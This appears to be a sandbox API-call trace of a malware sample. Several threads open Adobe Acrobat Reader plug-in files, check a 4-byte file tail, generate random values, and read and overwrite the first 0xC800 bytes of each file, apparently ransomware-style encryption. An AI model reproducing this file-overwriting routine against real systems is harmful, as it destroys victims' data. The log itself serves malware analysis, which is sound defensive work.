	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x63dd19e6
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xda09f4eb
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xeecee977
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x473d76e2
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xae2f4e2b
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xdc4fa148
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x9df1448e
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x63057ddb
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x6823e4c1
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x6ad1adf3
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xa2b61b3f
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x840b5637
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xecae3e96
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x7b792e2c
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xbadd5c04
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xea0f4908
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0x407fbba8
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xad30ef17
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xa9bd6c99
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xe9b773b8
	[0094.370] RtlRandom (in: Seed=0x2fe3f7d4 | out: Seed=0x2fe3f7d4) returned 0xba3d39bf
	[0094.379] SetFilePointerEx (in: hFile=0xf30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.379] ReadFile (in: hFile=0xf30, lpBuffer=0x4844828, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fe3f7a8, lpOverlapped=0x0 | out: lpBuffer=0x4844828*, lpNumberOfBytesRead=0x2fe3f7a8*=0xc800, lpOverlapped=0x0) returned 1
	[0094.381] SetFilePointerEx (in: hFile=0xf30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d78) returned 1
	[0094.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4851030
	[0094.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c60
	[0094.383] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.383] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.383] WriteFile (hFile=0xf30, lpBuffer=0x4851030, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fe3f7a8, lpOverlapped=0x0) 

Thread:
	id = 1403
	os_tid = 0x220c

	[0094.380] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api")) returned 0x20
	[0094.380] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api", dwFileAttributes=0x20) returned 1
	[0094.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf2c
	[0094.383] GetFileSizeEx (in: hFile=0xf2c, lpFileSize=0x2febf8f8 | out: lpFileSize=0x2febf8f8*=301667) returned 1
	[0094.383] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x49a5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.383] ReadFile (in: hFile=0xf2c, lpBuffer=0x2febf87c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2febf878, lpOverlapped=0x0 | out: lpBuffer=0x2febf87c*, lpNumberOfBytesRead=0x2febf878*=0x4, lpOverlapped=0x0) returned 1
	[0094.385] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88dc8
	[0094.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d28
	[0094.385] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.385] NtQuerySystemTime (in: CurrentTime=0x2febf858 | out: CurrentTime=0x2febf858*=132251868211190771) returned 0x0
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xc086a77b
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x939d80f0
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xc9f170f5
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xc810ba04
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x3ef455d6
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x4862ef7
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xbc61d605
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x5d02b09b
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x6eaf174e
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x1372e8e2
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x6540ff68
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x8c661b20
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x2a27fd73
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xc840b561
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x149527c0
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xe174c538
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x110829b9
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x7da7729f
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x59384d51
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xdf6234c6
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x79b41de8
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x4982142
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xc57cde80
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xd91d5088
	[0094.385] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xf5a2a977
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x9359af4
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xc66103e1
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x3de435c7
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x3e107159
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x8988a5f5
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0xb89e024b
	[0094.386] RtlRandom (in: Seed=0x2febf864 | out: Seed=0x2febf864) returned 0x5994c6f7
	[0094.395] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.395] ReadFile (in: hFile=0xf2c, lpBuffer=0x485d838, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2febf810, lpOverlapped=0x0 | out: lpBuffer=0x485d838*, lpNumberOfBytesRead=0x2febf810*=0xc800, lpOverlapped=0x0) returned 1
	[0094.397] SetFilePointerEx (in: hFile=0xf2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.397] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.397] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88c88) returned 1
	[0094.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x486a040
	[0094.398] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.399] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88c88) returned 1
	[0094.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.399] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.399] WriteFile (hFile=0xf2c, lpBuffer=0x486a040, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2febf810, lpOverlapped=0x0) 

Thread:
	id = 1404
	os_tid = 0x2210

	[0094.396] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\2d.x3d")) returned 0x20
	[0094.400] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d", dwFileAttributes=0x20) returned 1
	[0094.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\2d.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\2d.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf28
	[0094.402] GetFileSizeEx (in: hFile=0xf28, lpFileSize=0x2ff3fb6c | out: lpFileSize=0x2ff3fb6c*=677360) returned 1
	[0094.402] SetFilePointerEx (in: hFile=0xf28, liDistanceToMove=0xa55ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.402] ReadFile (in: hFile=0xf28, lpBuffer=0x2ff3faf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ff3faec, lpOverlapped=0x0 | out: lpBuffer=0x2ff3faf0*, lpNumberOfBytesRead=0x2ff3faec*=0x4, lpOverlapped=0x0) returned 1
	[0094.404] SetFilePointerEx (in: hFile=0xf28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88da0
	[0094.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88df0
	[0094.404] NtQuerySystemTime (in: CurrentTime=0x2ff3facc | out: CurrentTime=0x2ff3facc*=132251868211346988) returned 0x0
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xaa058afb
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x95e2277e
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x193bded6
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x8221556f
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xd6d3239f
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xf69b0f0b
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x7d3882d1
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xccd72888
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xd52e6f54
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x38896454
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x223f787c
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x60c8f476
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xa099fc3b
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x720be10c
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xa8edfbd3
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x25622219
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x96e0f1e
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xd8a16e2
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xb4d7cd0e
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xda7750dd
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xf5a2ae77
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x6f2db198
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xb5d8712
	[0094.404] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x3c1df22b
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x576eba08
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x5deaf20e
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x15acdc7
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x34647186
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xb9e8cb33
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xccddd23
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0x97a15d23
	[0094.405] RtlRandom (in: Seed=0x2ff3fad8 | out: Seed=0x2ff3fad8) returned 0xe3ab15e5
	[0094.414] SetFilePointerEx (in: hFile=0xf28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.414] ReadFile (in: hFile=0xf28, lpBuffer=0x513a8e8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ff3fa84, lpOverlapped=0x0 | out: lpBuffer=0x513a8e8*, lpNumberOfBytesRead=0x2ff3fa84*=0xc800, lpOverlapped=0x0) returned 1
	[0094.415] SetFilePointerEx (in: hFile=0xf28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.416] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88c88) returned 1
	[0094.416] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x51470f0
	[0094.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88df0
	[0094.421] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.421] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88c88) returned 1
	[0094.421] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.421] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.421] WriteFile (hFile=0xf28, lpBuffer=0x51470f0, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ff3fa84, lpOverlapped=0x0) 

Thread:
	id = 1405
	os_tid = 0x2214

	[0094.422] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\3difr.x3d")) returned 0x20
	[0094.422] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d", dwFileAttributes=0x20) returned 1
	[0094.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\3difr.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf24
	[0094.422] GetFileSizeEx (in: hFile=0xf24, lpFileSize=0x2ffbfbcc | out: lpFileSize=0x2ffbfbcc*=246768) returned 1
	[0094.422] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x3c3ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.422] ReadFile (in: hFile=0xf24, lpBuffer=0x2ffbfb50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ffbfb4c, lpOverlapped=0x0 | out: lpBuffer=0x2ffbfb50*, lpNumberOfBytesRead=0x2ffbfb4c*=0x4, lpOverlapped=0x0) returned 1
	[0094.424] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734890
	[0094.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734a70
	[0094.424] NtQuerySystemTime (in: CurrentTime=0x2ffbfb2c | out: CurrentTime=0x2ffbfb2c*=132251868211658883) returned 0x0
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xdb3e6e41
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xc469701a
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x87b6dfbb
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x2d95715c
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x4b2eb272
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x2cb9eac8
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x94665509
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x1450fa0
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xf1cb82
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xe9a23050
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x4dcb37b9
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x9534fa56
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xfd877ae5
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xef0111d8
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x4fcfca5a
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x2cc3fb6b
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xa4a3a42f
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x351ff47
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x11dc5f02
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x6cb75a6c
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x3803b8b2
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xe0690c83
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x969c973b
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x10b9f1a6
	[0094.424] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xfa6e3359
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x7dc147b9
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x943defc8
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x8de96c24
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xa23a4b8
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x86e2c7e1
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0x358ca184
	[0094.425] RtlRandom (in: Seed=0x2ffbfb38 | out: Seed=0x2ffbfb38) returned 0xcf65705f
	[0094.434] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.434] ReadFile (in: hFile=0xf24, lpBuffer=0x51538f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2ffbfb0c, lpOverlapped=0x0 | out: lpBuffer=0x51538f8*, lpNumberOfBytesRead=0x2ffbfb0c*=0xc800, lpOverlapped=0x0) returned 1
	[0094.435] SetFilePointerEx (in: hFile=0xf24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae80
	[0094.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.435] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734a98
	[0094.435] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734a98) returned 1
	[0094.436] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5160100
	[0094.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734a70
	[0094.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349d0
	[0094.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47349d0) returned 1
	[0094.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.440] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0094.441] WriteFile (hFile=0xf24, lpBuffer=0x5160100, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2ffbfb0c, lpOverlapped=0x0) 

Thread:
	id = 1406
	os_tid = 0x2218

	[0094.434] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\drvdx9.x3d")) returned 0x20
	[0094.434] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d", dwFileAttributes=0x20) returned 1
	[0094.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvDX9.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\drvdx9.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf20
	[0094.441] GetFileSizeEx (in: hFile=0xf20, lpFileSize=0x3003fe60 | out: lpFileSize=0x3003fe60*=802800) returned 1
	[0094.441] SetFilePointerEx (in: hFile=0xf20, liDistanceToMove=0xc3fec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.441] ReadFile (in: hFile=0xf20, lpBuffer=0x3003fde4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3003fde0, lpOverlapped=0x0 | out: lpBuffer=0x3003fde4*, lpNumberOfBytesRead=0x3003fde0*=0x4, lpOverlapped=0x0) returned 1
	[0094.443] SetFilePointerEx (in: hFile=0xf20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
